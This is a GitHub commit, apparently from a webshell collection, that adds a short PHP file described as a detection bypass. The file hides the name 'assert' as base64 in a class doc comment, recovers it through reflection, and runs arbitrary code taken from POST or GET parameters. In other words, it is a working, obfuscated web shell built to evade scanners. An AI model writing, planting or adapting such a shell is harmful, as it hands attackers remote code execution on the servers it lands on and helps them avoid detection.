add YXNzZXJ0YWE.php bypass 啊D

from: https://xz.aliyun.com/t/8684
This commit is contained in:
tennc 2020-12-28 01:05:10 +08:00 committed by GitHub
parent c9755402a6
commit b66c3bb616
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

25
php/YXNzZXJ0YWE.php Normal file
View file

@ -0,0 +1,25 @@
<?php
/**
* YXNzZXJ0YWE=
*/
class Example
{
public function fn()
{
}
}
$reflector = new ReflectionClass('Example');
$zhushi = substr(($reflector->getDocComment()), 7, 12);
$zhushi = base64_decode($zhushi);
$zhushi = substr($zhushi, 0, 6);
//
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
print_r($$_request);
}
}
$zhushi($_value);